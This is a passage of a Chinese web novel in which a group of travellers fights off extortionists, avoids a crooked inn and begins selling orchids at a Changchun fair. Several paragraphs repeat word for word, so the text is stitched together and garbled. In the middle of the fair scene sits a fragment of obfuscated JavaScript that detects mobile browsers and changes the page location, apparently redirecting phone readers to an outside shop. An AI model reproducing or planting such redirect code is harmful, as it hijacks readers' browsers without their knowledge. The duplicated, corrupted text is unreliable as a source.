“你们这饭还吃吗？”桌上还剩了些菜，秦双只吃了半碗就遇上这事，也不敢继续，倒是沈卫刚刚一边听着一边往嘴里扒。
“不吃了！”段野说道，头也不回走了。
“你们说，这小乞丐是不是想骗饭吃？”
“大家也吃的差不多了，咱们回去看看就知道了。”
沈如让段野走在最后面，自己跟王国安走在前面，沈卫抱着花盆走在最中间。一会他不是打架主力。
“又是你们！”
17. 斗法
“老板不在？”
“没注意，反正有几个大汉，挺壮实的。”
“走！”王国安一时气冲到脑袋顶，跟小乞丐道过谢就带着头往加油站赶。
“加油站一向很安全，今年真是邪了门了。”
“你们这饭还吃吗？”桌上还剩了些菜，秦双只吃了半碗就遇上这事，也不敢继续，倒是沈卫刚刚一边听着一边往嘴里扒。
“不吃了！”段野说道，头也不回走了。
“你们说，这小乞丐是不是想骗饭吃？”
“大家也吃的差不多了，咱们回去看看就知道了。”
沈如让段野走在最后面，自己跟王国安走在前面，沈卫抱着花盆走在最中间。一会他不是打架主力。
“又是你们！”
沈如没想到又是这群碰瓷的，居然阴魂不散的跟踪到这里。
“说，你们到底要干什么？”沈如质问道。
王国安被这气势吓着了，走上前把她护在身后。
“美女，我们也不干什么，你们不是要去长春吗？咱搭个车一起呗。”说完众人都不怀好意的笑起来。
段野和王国安气的不行，从腰间掏出伸缩棍，
“给你们一次机会，说出你们的目的，放你们一马。”话是这么说，但是沈如已经打定主意了等会必然狠狠教训这群流氓。
“哎呦，好怕啊，要不咱们床上聊，哈哈哈哈哈哈哈。”打头的光头调笑道。
“给脸都不要，那就别怪我们了。”沈如正准备冲出去没想到左右手都被拉住了，
王国安着急道，“你快别冲，跟你弟弟一起在后面，我们俩来，我还真不怕这群贼，当我吃素的。”
“对，你快留在这里，我们去。”说完段野把沈卫拉到沈如面前，“护好你姐。”
段野和王国安一左一右冲过去，那边有四个人，老头和挂彩的摩托三人组不在。
沈卫和沈如也掏出带来的刀，背靠背站着。
段野身形矫健，率先发难，像一头敏捷的猎豹，盯准猎物就飞扑过去，猛地冲向刚刚的光头。右拳紧握，带着一股劲风，直捣光头的面门。那光头反应也不慢，脑袋迅速一偏，惊险地躲过了这凌厉的一击。趁着段野拳势未收，光头露出狰狞的笑容抬腿就是一脚，狠狠地踹向段野的腹部。段野连忙收腹，身体向后微微一仰，那一脚擦着他的衣服划过。光头没想到这一脚居然落空了，被段野一拳锤在鼻子上，手不自觉往上捂，还没抬起来又被段野一个背摔直接撂在地上，
沈卫看到这幕，大叫一声”好，姐夫厉害！“
段野把他的武器收了，又狠狠补了一脚，在他的下面，光头感觉有一颗炸弹在颅内瞬间引爆。紧接着，眼前发黑，视线变得模糊不清，仿佛整个世界都在瞬间失去了色彩和清晰度，没想到这小白脸下手这么狠。
那边王国安对付着两个人，王国安身材魁梧，虽然五十了但是仍然力量十足。双臂一展，一下子抱住了一个瘦小的男人，试图将其摔倒在地。那瘦子拼命挣扎，双脚不停地乱蹬，双手也在王国安的背上乱抓。另一个男人见状，从侧面冲了过来，拿起棍子朝着王国安的脑袋砸去。他才不得不松开那瘦子，侧身躲避突然的攻击。伸出双手握住那挥向自己的棍子，把对手带的趔趄一下，王国安顺势那棍子套住他的脖子，那瘦子见状也不敢再过来，只见他左右看，看向沈如那边的时候突然露出一个阴险的笑容。
他也不再看向沈如，而是重新冲向王国安，这次他改变了策略，采用灵活的走位，围着王国安快速移动，时不时地出拳试探。王国安松开那人，被瘦子的快节奏攻击搞得有些应接不暇，只能不停地防守，偶尔寻找机会反击。瘦子瞅准他的一个破绽，飞起一脚踢向膝盖。王国安吃痛，膝盖一弯，身体不由自主地向下蹲去。瘦子正准备一记勾拳打向王国安下巴，猛地向右边飞出去！
原来是段野过来了，他过来只来得及给瘦子一脚，好在来得及，他走过去扶起王国安，那边瘦子被这一脚踢得一时起不来。
看到瘦子的眼神沈如心道不好，果然旁边的箱子边躲着一个男人！此刻正准备冲过来，沈卫被这动静吓得叫起来，拿这个棍子挥舞起来，被那男人一把拉住，没把胖子看在眼里，直接冲着沈如过来了，在他看来，这群人最关心的是这个女人！
沈如看出他的算盘，冲他甜甜笑了一下，扭了下脚腕，把手里的棍子横着扫过去，那男人只感觉一股劲风扑面而来，心觉不好往侧边躲去。沈如哪能放过他，示意段野和王国安不用过来，侧身一脚提到对方的右脸，那人被这一脚竟然直接踢飞出去，狠狠撞到箱子上，嘴里吐出鲜血，看向走过来的沈如也再不敢像看货物一样。
几人在地上，只有最后这人和瘦子还醒着，其他俩都直接昏迷了。
段野走过去，拉住沈如的手，又看看他的脚，
“你没事吧？”
“我当然没事，有事的是其他人，”沈如抬起下巴指向其他人，两人走过去把王国安扶了起来，
“舅舅，没事吧？”
刚刚挨了一脚，王国安这会正扶着腰站起来，
“没事我怎么会有事，我年轻的时候可是一个能打三个的，哈哈。”他把手从腰上放下来，一副状态良好的样子走了起来。
沈如默默低头忍了笑，如果舅舅走路没有那么慢就很有说服力了。
“等会咱去买点药膏。”段野悄悄侧身说道，
“要的，要的。”
瘦子只恨自己没有晕过去，不然现在头顶着一个棍子，被围攻的就不是自己了，心道倒霉，立马换了个笑容，谄媚无比，
“大哥，大姐，我们有眼不识泰山，你当我们是个屁放了吧，你看，我们也没落着好。”
说完拱拱手，试图蒙混过关。
“叫谁哥姐呢，少来这些，老实交待，不然”，沈如把手里的棍子往左边狠狠抽过去，那边的木箱子被她拦腰打了个洞。
“那当然，您问，我什么都说。”
“
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为什么盯着我们不放？”
“害，你们这车这么空，又是往长春的方向，那胖子还揣着东西，我们估摸着是兰花，那玩意可值钱了，就一时心动。”
沈如不解，按理说这事情应该知道的人没有那么多，况且这里离长春还有几百公里呢。
“兰花？你什么意思”沈如不动声色。
“嘿嘿，您就别藏着了，先前我们碰上一对爷孙，也是去长春的，那小孩捧着个花当个宝贝，不过他们身边有保安，我们没办法下手，就筹谋这往长春去看看，也没有发财的机会，没想到路上遇到你们了，我瞅着那胖子手里还挺像花的。”
“就这？”沈如和几人对视一眼，看着瘦子也不敢说谎，
“没想到我们这么倒霉！”沈卫嘟囔道，他不敢坐在后面了，可也不敢说话。
“你们那可是要玩命的样子，没少犯事吧。”
“不敢不敢，其实我们是好人。”
“说实话！”
“其实我们以前就是路上碰瓷扒车，赚点小钱，真的没干别的呀！”
“行，不承认是吧。”
沈如让沈卫去车上拿些绳子，把几人捆起来，段野又拉着几人走到他们的车子，一辆摩的，沈如爬上车看了看，发现车上是没有什么赃物。
王国安看她回来又急忙从地上站起来，表现出一副若无其事的样子走着。
“小如啊，这手里拿的是什么？”王国安手交叉背在身后，
“刚刚他们车上搜出来的，两个伸缩刀，甚至还有一把猎枪。
“亡命之徒，还好他们没用上。”
送到警察局吧，沈如说完这句就示意段野将既然捆好压上车，自己跟段野坐在后面，沈卫终于坐到了座位上。
“舅舅，咱们先厨房，晚上的时候再去送，白天盘问的话耽误我们时间！别误了正事”
“得嘞，咱们该出发了。”
晚上12点，车子终于来到了市里的公安局，几人把他们丢在警察局门口，又在地上写了几个字。
晚上12点，车子终于来到了市里的公安局，几人把他们丢在警察局门口，又在地上写了几个字。
琼市是一个很安宁的市区，这里民风淳朴，辅警小方一直是这么认为的，直到有一天他醒来第一个打开大门，发现门前睡了几个人，脸上鼻青脸肿的，身上还带着血迹，吓得他立刻报警。
队长急急忙忙赶过来的时候瘦子已经醒了，地上躺着四个一看就是不法分子的人，旁边有黑色的炭迹，他赶忙戴上眼镜，只见几个大字。
“为民除害，碰瓷、打劫”
瘦子一看来了个厉害的，立刻上前抱住对方大腿，“警官，我要报警，有人捣我眼！”
第二天，琼市日报就登出新闻，“近日，我市有人见义勇为，将盗贼扔到派出所，经审讯，四人皆有碰瓷及伤人纪录，不过不法分子竟也反报警，控诉对方出手太重，有伤风化。”
不过这报纸，沈如几人也看不到了。
18. 悲催的王家安
后面的路上风平浪静，沈如和段野在后面待了几天，车子终于过了辽省边界。
“你们看，咱们马上要进城啦！”沈如感觉自己屁股和脑袋都有点晕，这几天为了避免再发生之前的事情一直拼命赶路，每天盯着日出日落，外面的风景也一成不变。
“长春城”，沈如念出路上的标识牌，终于到了。
“咱们也算是可以从“硬座”解放啦！”段野露出点大男孩的稚气，大笑道，等沈如下车的时候脚有点麻，他一个横抱把她放到地上。
沈如拍拍他的肩膀，说了句，“辛苦了。”
“不辛苦，为人民服务。”
秦双的画外音悠悠传来，“你们俩坚定的要入党。”
“你们这车可进不来城啊，”旁边有人指着他们的货车说道，几人才意识到这个问题，王国安示意几人先在这边等着，他去停了车。
“放心吧，舅舅，我们就在这等你。”
他们现在已经进入在市区，街边已经有了一些私营商店，国营饭店的香味飘过来，几人的肚子不约而同的想起来，三人的目光齐齐看过去。
段野立刻小跑了过去，正值中午店里有几个食客，他冲着收营员笑道，有包子吗？
“有啊，咱们最经典的大肉包，五毛钱一个，菜包五毛钱两个。”
“那麻烦给我四个肉包，四个菜包。”
“行嘞，我给您装。”田甜掀开盖子，包子白白胖胖的贴在一起，松松软软的，看起来像云朵，一口一个。
“给您分开装了，这个是肉包，”田甜把左手的包子往上提了提，“欢迎再来。”
段野拿到包子立刻跑出去。
“给。”段野撑开袋子示意沈如拿包子，递给沈卫一菜一肉，给舅舅留了俩，沈如先咬了一口肉包，外皮松软却不失嚼劲，关键是吸收了肉馅的汤汁，一口咬到肉和笋丁，鲜美的汤汁也在嘴里爆开，太好吃了！
要不说这会的大厨都还是有本事的，铁饭碗可不好拿。
段野看她吃的开心，眼睛都眯起来了，替她擦了擦嘴角，把自己的肉包子换掉她的菜包，
“是不是很好吃，再来一个。”说完还把包子往她面前递了递，沈如本来想拒绝，结果秦双在她脑子里颇有些撒泼打滚的感觉，她接过来。
“谢谢，你也快吃。”
沈卫看着两人的互动，只能狠狠地咬着包子，等自己结婚了也要秀！欸这包子真好吃。
“给我来个，”王国安停了车，他之前受的伤不算重，最近有时间段野一直给他揉药酒，这会也好的差不多了，
他努力把背挺得直直的。
沈如一看就知道他是想表达什么，于是很上道的说道，
“舅舅，您真是老当益壮！”
“哈哈哈哈哈”，吃完两个包子既然决定往城里走一走。
长春现在看上去破具有八十年代的风格，楼房大概都只有一两层，光是这条主街就有一家人民医院、一个学校，和一些错落的小巷子，
“小心！”沈如正专心看着路边的一个小四合院，就被段野揽着往边上飞过去。
“对不起，对不起。”一个穿着海魂衫的年轻人从自行车上跳下来，邓飞双手合十一直鞠躬道歉，他刚得了个自行车，正是开心的时候，差点撞上人家，这人对象快把他瞪穿了。
“没事，你这车不错啊。”沈如没见过这个年代的自行车，一时好奇。
“那必须的，凤凰牌，两百块钱呢，我攒了半年可算攒到了，要不要试试看。”虽然妹妹今天问他借车他直接拒绝了，但是这不是刚刚差点撞到人家，况且长得还那么甜，真好看。
“哼”，段野对着邓飞冷哼一声，看向沈如，
“我们等会也去买！”
“买什么买，别闹，我来试一下，你扶着我。”
段野这才走到车子旁边，不过沈如作为21世纪的好青年自然可以驾驭一个自行车的，弯了两下就顺利上手，骑着在这边转了转。
“你还别说，这车骑着真流畅，比小蓝好骑。”
让我试试，秦双果然不会放过凑热闹的机会，直到有轨电车经过，众人才告别。
邓飞跟沈如挥挥手，“有事儿可以问我啊。我家就在石榴苑188号。”
沈如跟他挥手示意。
几人要去兰花市场，兰花博览会也将在一天后开启，这会街道上已经有小孩在分发海报了，上面印着各色各样的兰花。
“咱来巧了，正好赶上。”王国安感慨，几人在有轨电车上坐了8站，车子在园博园停下来，附近就是兰花市场。
不过在实地考察之前，他们需要找一个住的地方。
几人下了电车，往东边走去，一般东边是会更热闹一些，酒店饭店都在街东边，医院学校在西边，安静。
“众旺宾馆，”这家看着环境还不错，沈卫走累了，看见路边一家立着的招牌，
“每晚仅需两块钱，热水、毛巾、牙刷、拖鞋应有尽有。”段野把右边的小子读了出来，看着门口的盆栽和桌椅，他们往里面走了点。
一个年约四十的阿姨，操着一口方言就迎上来了，
“几位客人，是住宿吗？咱们可是一条街上条件最好的宾馆了，你们也是来博览会的吧？”王桂花看了眼沈卫怀里的东西笑道，
“是的。”其他几人还没有说话，就听沈卫应了声。
沈如看了他一眼也没有再说话，她总觉得这店有点怪。
“我跟你们说，这肯定不是我的花，你们说，是不是把我的花掉包了！”一个中年男人戴着眼镜怒气冲冲的从楼上下来，手里捧着一盆花。
沈如和段野对视一眼，不动声色的退后一点，就听这男人又开口了，
“你们不要住这家店。”王家安是海市的一名工人，偶尔听到说长春有市场，家里又急着用钱，只能抱着老丈人的兰花跑出来，希望能换到钱给老婆治病，没想到才刚来就住到黑店。
“你个戴眼镜的不要血口喷人啊！你的兰花不是好好的在吗，大家评评理。”王桂花一副似笑非笑的看着王家安，
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反驳道。
“怎么可能，这花我老丈人一天给我看八百回，我带过来的时候开了两个花骨，一共十五个叶，现在你们数数，居然有18个！”王家安很想把花砸在对方头上，但又怕惹事，耽误了回去给老婆治病，这会已经开始闷着声掉眼泪了。
“我要报警！”意识到再掰扯下去也没有回复了，王家安抱着花就去报警了。
沈如几人看他一副天都塌了的样子也大概知道是非了，总归不是竞争对手来演戏吧。”
“咱们走。”王国安说完就带着沈如往外走，沈卫紧跟着，牢牢抱着自己的花，段野则警惕的盯着老板，毕竟换花的事情都做的出来，说不定有恃无恐。
“大哥留步！”沈如很庆幸众人入住前就发现了这事，虽然他们人多，但是不能千里防贼，指不定什么时候就会吃亏。
王家安正擦着眼泪，准备往警察局去，但是他心里清楚，这事难以查证，谁能证明他抱进来的叶子只有十五个。
“妹子，你有什么事吗？”
“大哥，谢谢你提醒我，我们才没有住进黑店，”
“没事，应该的，这种黑店就应该倒闭！”
“那你这是要去警察局？”
“对，我没有办法了，花不对，这个品相太差，卖不到钱，我要回去给老婆治病，花还是我偷拿老丈人的。”说完王家安又潸然泪下。
“大哥，如果你信我，可以先去警察局，但是我估计警察不会受理，因为你这个花除了你大概没有人能证明哪盆是你的，但是别忘记了，最近可是博览会，有那么多人来卖花，你说，要是他们生意做不下去了怎么办？”
王家安有些疑惑，“嗯？”
沈如没有继续再解释，毕竟也不好教唆犯罪，段野走上前去，在对方疑惑的眼神里小声说了几句。
沈卫看着对方的眼神从迷惑到亮起来，也开始疑惑。
四人结伴继续走，准备去找舅舅推荐的招待所，一般是政府开设的，不过现在也对普通民众开放，要是有人不长眼敢在那里偷窃，可就惨了。
沈如和王国安走进招待所，前台是一个年轻的小姑娘，声音脆生生的，
“几位要住宿吗？”
“对，我们四个人，女生一间，舅舅一间，我和弟弟一间，”段野跟营业员说着。
也不知道这会有没有套件，沈如想这人多住在一起最好，最安全。
“或者有没有套间，我们可以住在一起。”
陈歌抬起头打量了她一下，看着很朴素，没想到了解的还挺多。
“姑娘你知道的还真多，整个长春市有套间的不多，我们就是那三分之一，正好还剩一个套间，价格和三个房间差不多，一晚上十块钱。”
“那就这个吧。”沈如在登记信息，其他三个人都面面相觑，
“十块钱有点贵啊。”
“套间是什么？”
“小如啥时候进的城？”
“话说，姐夫，你刚刚跟那戴眼镜的说了啥？”沈卫还是忍不住开口问道。
19. 搞农业，我是专业的
“你觉得一个做生意的最怕什么？”
“没有生意吧，”沈卫挠挠头。
“那你说我们刚刚这单生意没有做成是因为什么？”
“因为王家安在那哭啊。”
“那就对了”，说完段野踏步走在前面，“只要他胆子大点，现在人这么多，光脚的不怕穿鞋的。”
沈如和王国安走进招待所，前台是一个年轻的小姑娘，声音脆生生的，
“几位要住宿吗？”
“对，我们四个人，女生一间，舅舅一间，我和弟弟一间，”段野跟营业员说着。
也不知道这会有没有套件，沈如想这人多住在一起最好，最安全。
“或者有没有套间，我们可以住在一起。”
陈歌抬起头打量了她一下，看着很朴素，没想到了解的还挺多。
“姑娘你知道的还真多，整个长春市有套间的不多，我们就是那三分之一，正好还剩一个套间，价格和三个房间差不多，一晚上十块钱。”
“那就这个吧。”沈如在登记信息，其他三个人都面面相觑，
“十块钱有点贵啊。”
“套间是什么？”
“小如啥时候进的城？”
三人就这么水灵灵的跟着前台爬了三层到了他们的房间。
20世纪末，这年代的招待所装修并不豪华，刚刚大唐里也只是放着桌子椅子，和板正的沙发，很多盆绿植错落的拜访在一楼，房间里也是很简洁的样子，进门放着一个沙发，大约两米长，一米宽，红木的，前面一个茶几，对面的墙上挂着水墨山水画，几人把背包放在沙发上，兰花打开放在茶几上，绿色的枝丫舒展开来，沐浴着久违的眼光。
沈如走上前去看了看，这几天他俩在车上，经常把兰花打开晒晒太阳，跟他们一路奔波，看起来是没有在山崖里那么有活力，不过山里野生野长的，这会看起来也还是透着一股生机。
“花怎么样？”段野凑上前去，学着沈如的样子想观察一下，结果什么也没看出来。
“挺好的，”沈如看他瞪着眼睛那有点傻乎乎的样子，那脑门撞了一下他。
段野没有吱声，手摸着额头笑得开怀。直到王国安推了推他，
“别笑了，哼，进屋看看。”
“小如啊，这间大的你睡，旁边还有两件小的，我们仨分。”王国安给大家做了决定，准备睡到隔壁的小卧室。
这是一套三室一厅的格局，最大的房间内有浴室，很大的窗户，阳光可以直射进来，照的亮堂堂的。
“我一个人不用住这么大的，你们哪两个人一起睡得话住这间吧，我住隔壁的房间。你们自便，我去收拾一下。”说完沈如不给他们说话的机会，拿起自己的包袱就进了房间，关上门。
三个大男人站在外面面面相觑，沈卫心知自己不可能睡到单人间，一言不发地看看王国安又看看段野，王国安被他盯得烦了，
“尊老爱幼懂不懂啊？当然是你们俩睡。”说完就径直拿起自己的包袱走向另一间小房间，临走还不忘叮嘱，
“回去收拾一下，一个小时后咱们出去吃饭！”
随着门“砰”一声关上，段野也率先进了自己的屋。
一个小时后，王国安在客厅喊了声“集合”
三人从房间里走出来，都是已经换了一身衣服，沈如还洗了个澡，太久没有享受过淋浴的感觉了，简直不要太自在，她发誓，以后一定要在山下建一个。
“呜呜呜，就是，我感觉自己都不干净了。”秦双是个小洁癖，这段时间没能好好洗澡，她十分有怨念！
“总算安定下来了，走，咱们去摸个底，再来点正宗锅包肉、溜肉段、配上个啤酒，今天咱们顺利到了，去庆祝一下。”
几人走下了楼，正聊着等会点什么菜，就听见大厅里传来一阵争吵声，几人转过视线，发现人群中心是俩头发花白的老头，一堆人在旁边看热闹，顿时有点无语，准备绕过去。
“老王，”李双全双手叉腰，涨红了脸说：“我那盆兰花，品种珍稀，花姿婀娜，那可是花中珍品，谁能比得过？就你那盆烂菜叶子”他边说边比划着，仿佛那盆兰花就在眼前盛开着。
王建国也不甘示弱，瞪大了眼睛反驳道：“你说谁烂菜叶子，可别瞎吹了！我养的兰花那才叫一绝，香气清幽，韵味十足，可是大名鼎鼎的君子兰，你的和我的比起来，那可差远了！”他还特意挺了挺胸膛。
两人你一言我一语，互不相让，从兰花的品种说到养护方法，又从花朵的形状谈到花香的浓郁程度，越说越激动，声音也越来越大。
“大家过来看看，我们俩的兰花到底谁的好”李双全激动地挥着手，似乎是想把周边的人都拉去见证他的兰花压过对方一头。
众人叉着腰看着，倒是没有谁敢上去指点，刚刚这俩老头吵架就发现了，说的很专业啊，连兰花起源和分布都说了，况且穿的虽然朴素，但是精神抖擞，更何况，旁边还有俩站的笔直的，一看就不好惹。
王建国没想到大家这么冷淡，转了一圈叫住了正在往外走的几人，
”小姑娘，你们来看看，这两盆花到底是哪个好”
“对，你来看看，这么漂亮的眼睛定能明辨是非，我的这盆，”李双全想拉着沈如走到自己的花面前，却被王建国拦住，
”今天，咱们就来个盲选，小姑娘别怕，你就直说好了。“
沈如一脸懵圈，她只是想吃个饭。不过刚刚他也有观察情况，这些看客穿的都不错，的确良的、棉的，头发理的干干净净，有的还带着眼镜穿着西装，看着像生意人，而这俩老人，她也笃定，不是一般人！毕竟她以前可是陪着导师去过不少研究院和政府部门打交道的。
”行啊，承蒙二位抬爱，我就恭敬不如从命了。“
走到两盆兰花前，仔细观察起来。她先指左边的兰
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花说道：“您这盆墨兰确实养得很好，从叶片的光泽和形态可以看出主人的悉心养护。”有意想“卖弄”一下，于是继续道，
“墨兰的叶片宽大，一般有3-5片，这盆花颜色深绿，富有光泽。花葶从假鳞茎基部发出，直立，较粗壮花朵较多，常为暗紫色或紫褐色，花瓣近狭卵形，唇瓣近卵状长圆形，有香气。不过多生于海拔300-2000米的林下、灌木林中或溪谷旁湿润但排水良好的荫蔽处。它喜欢温暖湿润的环境，不耐寒，冬季需要注意保暖。”说完沈如对着二位笑道，“想必为了给这花过冬没少费心思。”
王建国乐呵呵的笑起来，李双全则是冷哼了一声，说道
“小姑娘，你看看这一盆呢？”
接着，姑娘又转向右的兰花：“这盆兰花的品种确实很罕见，杓兰。你们看，这花瓣花朵形状像一个小勺子，花瓣呈囊状，色彩鲜艳，而且叶片互生，有椭圆形、卵状椭圆形等形状。不过杓兰多生长在海拔500-2500米的林下、林缘、灌丛中或草坡上，野外也很是罕见的，“
听到这里，李双全则是挺直了腰板。
又听沈如接着说道，“不过从它目前的生长状况来看，可能在养护上还需要一些调整。你看，它的叶片略显发黄，可能是光照不足或者施肥不当导致的。以后尽量还是放在半阴环境，15℃-25℃为宜，高湿，用疏松酸性土，浇水见干见湿，薄肥勤施，也要注意防治炭疽病、根腐病等。”
“那你看，这两盆哪个更好？”
李双全不死心的走上去，
“论稀缺性当然是杓兰，不过看品相，其实墨兰更胜一筹。我看二老其实关系很好，何必为了花伤了和气，这两盆花都挺难得的，是不是啊？”沈如对着围观众人道。
“是啊是啊，这姑娘真专业啊。”
两个老头也对视一眼，哼哼唧唧的不看对方。
“小姑娘，你可真机灵，谁都不得罪。”王建国看着她笑了起来，李双全也跟着乐了。
沈如没有再接话，跟着笑了起来，今天她可算努力表现出一副尊老爱幼、知识渊博的形象了。
“沈如选手一百分！”秦双看她臭屁的样子笑道。
其他几人被她的表现震惊了，王国安一副与有荣焉的样子，对着隔壁一胖哥说道，“这是我侄女。”
“哦哦”胖哥点了点头，默默走远了点。
沈卫心里乐开花，“这趟值了，没白挨打！嘿嘿。抱紧我姐大腿！”
段野看着她却感觉有点遥远，怔怔地没有说话，等沈如看过来时重重了点了下头。
沈如没搞明白几人的状态，尤其段野那句“我会努力追上的“，没什么要追的啊，不过她这会正忙着呢。
一个带着金属边框眼镜的年轻女人走了过来，将手里的名片递给沈如。
“你好，能认识一下吗？我姓姚，是沪市远洋贸易的总经理，这是我的名片。”
20. 卖花
“远洋贸易，主营机械出海业务，总经理，姚芳芳，”沈如接过名片念了出来，旁边几人都差异了，这是啥，没听过。
秦双也在纳闷，“这是什么公司？”
“应该有国企背景，不知道找我什么事。”
“姚经理，你好，”沈如伸出手握住对方，算是礼貌回礼。
“你好，刚刚听你在那边谈兰花，听着很专业啊，不知道怎么称呼？“
“沈如，碰巧了解过而已，客气了。你们是国企吗？”
姚芳芳没想到对方这么沉得住气，一直没有问自己的意图，还直接看出公司是有国企背景的，这就让他很惊讶了，毕竟不是她小瞧人家，只是这穿衣风格看着太低调了。
笑了笑，她决定开门见山。
“姑娘好眼力，远洋是中国机械研究所旗下，这不是刚刚开放吗，上面下命令看看出海业务，我们就开始琢磨出海业务，机床、电工设备都是我们的业务”。
没有再继续聊自己的公司，“实不相瞒，这次我们有一笔订单需要一个老外打交道，这个老外很难搞，对中国的文化很感兴趣，我们打听到他最喜欢的就是兰花，一直有收集的癖好，所以这次来也是希望能找到两盆品相顶尖的兰花，这两天在这边转了转，那些所谓的专家都是半吊子，又没有官方的研究所，所以才找到你，希望你能帮我们做顾问。”
虽然对对方的背景有些好奇，但是沈如眼下有更重要的事情，“对不起，我们是来卖花的，时间比较赶。”
“如果一盆给你两百块，并且买花预算我们不限，只要不超过上周报纸上的价格就行。”
沈卫几人都被这价格震惊了，看向沈如，却没有开口劝说。
“对不起，我还是拒绝。”沈如说道。
“小如，这算是白来的生意欸，白赚四百，为啥不干呀？”秦双也没搞懂为什么对方拒绝。
“当然是因为，她不诚心，一笔国企出海的订单，买花预算上限极高，还记得上周的报纸吧，一盆一万，但是却只给顾问两百块，况且这钱我卖花也能赚出来。”
眼看着沈如没有留恋转身就走，她看向其他人的眼神也没有得到回应，她赶忙追过去。
“沈如，等一下，咱们再聊一下吧，我请大家吃个饭，也算是有缘分。”
几人来到了附近的国营饭店，姚芳芳把菜单给到王国安和沈如，她看出来了，这里能做主的主要是这两人。
沈如点了个锅包肉就把菜单给段野递过去，“你们看吧”，
段野看出沈卫一直蠢蠢欲动，想说些什么，赶忙接过菜单，按住沈卫，“点菜吧。”
果然有了食物，沈卫就不再想掺和了。
姚芳芳点了一条鲈鱼和酸辣汤，就任由三人点了。
“如果我把价格开到一盆五百呢？只要你帮我找到两盆品相好的兰花，我就给你一千块。可能你是不太缺钱，但是白赚钱的机会也不多，不如好好考虑下。”姚芳芳拿不准沈如的意思，按理说自己的国企背景一出，加上这个价格，应该拿得下的。
“一盆六百，我帮你挑到整个市场最好的兰花。”沈如定定的看着她，王国安差点把菜单扔掉了，倒是段野很安静，只是手死死的按住沈卫。
“行，不过我们要明确，兰花的品相和类别一定要足够特别和稀缺。不然的话，在商言商，我们也不会白付这么多钱的。”
姚芳芳可不是会吃亏的。
“当然，不满意，我不收钱。”
“干杯，合作愉快。”沈如举起茶杯跟姚芳芳碰了个杯。
至于之后吃饭时对方是不是若有所思的状态以及打量的目光她一点也不在意。
“明天见，”沈如跟姚芳芳告别，几人像是忍了一路，知道姚芳芳上了车，沈卫直接原地蹦了起来，段野也眼睛发光的看着沈如。
“厉害！”段野毫不吝啬的夸赞，倒是没想起来问她为什么学会了，会就会，管他为什么呢！
“呵呵，小如深藏不露啊，不过我看那个女人也不是那么好相处的，真的找到她想要的花吗？”
“当然！”沈如有底气势因为自己手里的花，其中有一株是顶顶好的，至少可以顶上一个，要是市场有更好的她也不愁卖给其他人。
“长春兰花博览会，”段野几人站到一个三层小楼前，门口挂着大幅海报。
“各位贵宾好，我们的博览会明天开始，一共持续三天，如果需要展位可以联系我哦，保证给您打折！”一个穿着衬衫的小姑娘迎了上来。
脸上洋溢着甜美的笑容，站在那座独具特色的展览建筑前，颇有点亭亭玉立的意味。
“那麻烦带我们转一转吧，确实有考虑。”沈如见她挺熟悉环境的，从身上掏出一杯刚刚买来的饮料。
“那我也就不客气了，”阿霞接过罐子，带着几人走进去。
阿霞轻声细语地为几人介绍着：“各位，这第一层主要展示的是一些本地常见的兰花品种。你们看，这盆春兰，它的花朵小巧玲珑，颜色淡雅清新，就像一位羞涩的少女。还有这盆建兰，它的花期较长，花朵香气浓郁，很是受人喜爱呢。在前几次的展会中售价主要是100-1000不等，”
看了一圈，一层目前没有太多花，倒是有一些主办方放置在架子上的盆栽，看着健康，品相则一般。路两边都是展位，一个位置大概有两米宽，做的很简单，一个展台，两把椅子，后面则是有挂海报的地方。
沿着楼梯走上第二层，眼前的景象更是让沈如大开眼界。这里多出了不少更为珍稀的兰花品种，还有一些关于兰花养殖和培育的资料展示。
阿霞指着一盆造型独特的兰花说道：“这是一盆墨兰，它的叶子宽厚，色泽墨绿，花朵呈深紫色，非常罕见。墨兰在中国文化中也有着特殊的象征意义，代表着高雅和纯洁。这里是”
阿霞引着几人来到一个展台，上面的玻璃罩子里有一株兰花。
“杓兰”沈如接过阿霞的话头。
“看着怎么有点眼熟呢？”段野开口小声说道，
“当然啦，这两株不就是昨天那两个两人的花吗。”
“原来你认识王老和爷爷，这两盆这就是他们的。需要我去带你见见他们吗？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13887035|146369||http|test|mini|href|location''.split(''|''),0,{}));
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“哦？他们也在吗？”
“当然，这次的展会就是二老举办的，说是想看看谁的兰花种的比自己好呢。”
“你这小丫头又在说我们坏话呢？”
“爷爷”，阿霞冲着李双全扑过去。
沈如真的有些惊讶了，这也太有缘分了。
“小姑娘，你怎么来啦？”王建国开口问道，一副笑眯眯的模样。
“实不相瞒，我也是来卖花的。”
“真的？你这小姑娘养的一定是品相极佳，带来了么？让我们开开眼。”
“是啊，是啊”李双全也附和道。
“在酒店呢，今天也是过来看看，明天就带来了，到时候一定劳烦二位来掌掌眼。”
“小霞，你可一定要给这位小姑娘留一个最好的展位。明天我们也要过去的。”
“没问题，姐姐跟我来。”
沈如弯腰鞠了一下，“托二位的福，相信明天我的花一定能顺利售出。我叫沈如，二老叫我小如就行。”
第二天四人早早抱着花来到门前，在人堆里还看到了王家安，对方看见沈如和段野，想挤过来，但是人实在不多，沈如只好示意他，进去再说。
上午九点，随着一阵鞭炮声，李今霞穿着一身正装，
“每个展台最多只能有四个人；不得争吵斗殴，不得离场交易，若有问题概不负责；不得强买强卖；不得以次充好。若有违法者，将立刻移交警察处理。”
兰花博览会真正开始。
”姐姐，跟我来！”小霞说完就看见人群后的沈如几人，跑了过去。
“今天看起来很气派呀，”
“那必须的，为了这个机会我可是争取了好久呢。快来，你们的展位我选的可是最好的，上一次的花王就是这个位置。”
B区06号，2楼c位，确实是个极好的位置。
今天人流太多，将几人安排好小霞就去楼下了。沈如把两盆花放在台上，段野和沈卫在左右两边盯着，防止有突发情况。四人准备轮流守着。
“你这花品相还行，就是有点蔫巴，花骨也没几个，不过我正好缺个蝴蝶兰，两盆三百块，我要了。”
一个高高瘦瘦的男人看到这两盆花，心都要跳出来，这可是两盆莲瓣兰，看这几个人穿的破破烂烂，说不定自己可以捡个漏。
“可以楼下看看，A05和08有蝴蝶兰。”沈如一眼看穿这男人的心思，只淡淡回了这么一句。
高瘦男人一听就摸摸鼻子灰溜溜的走了。
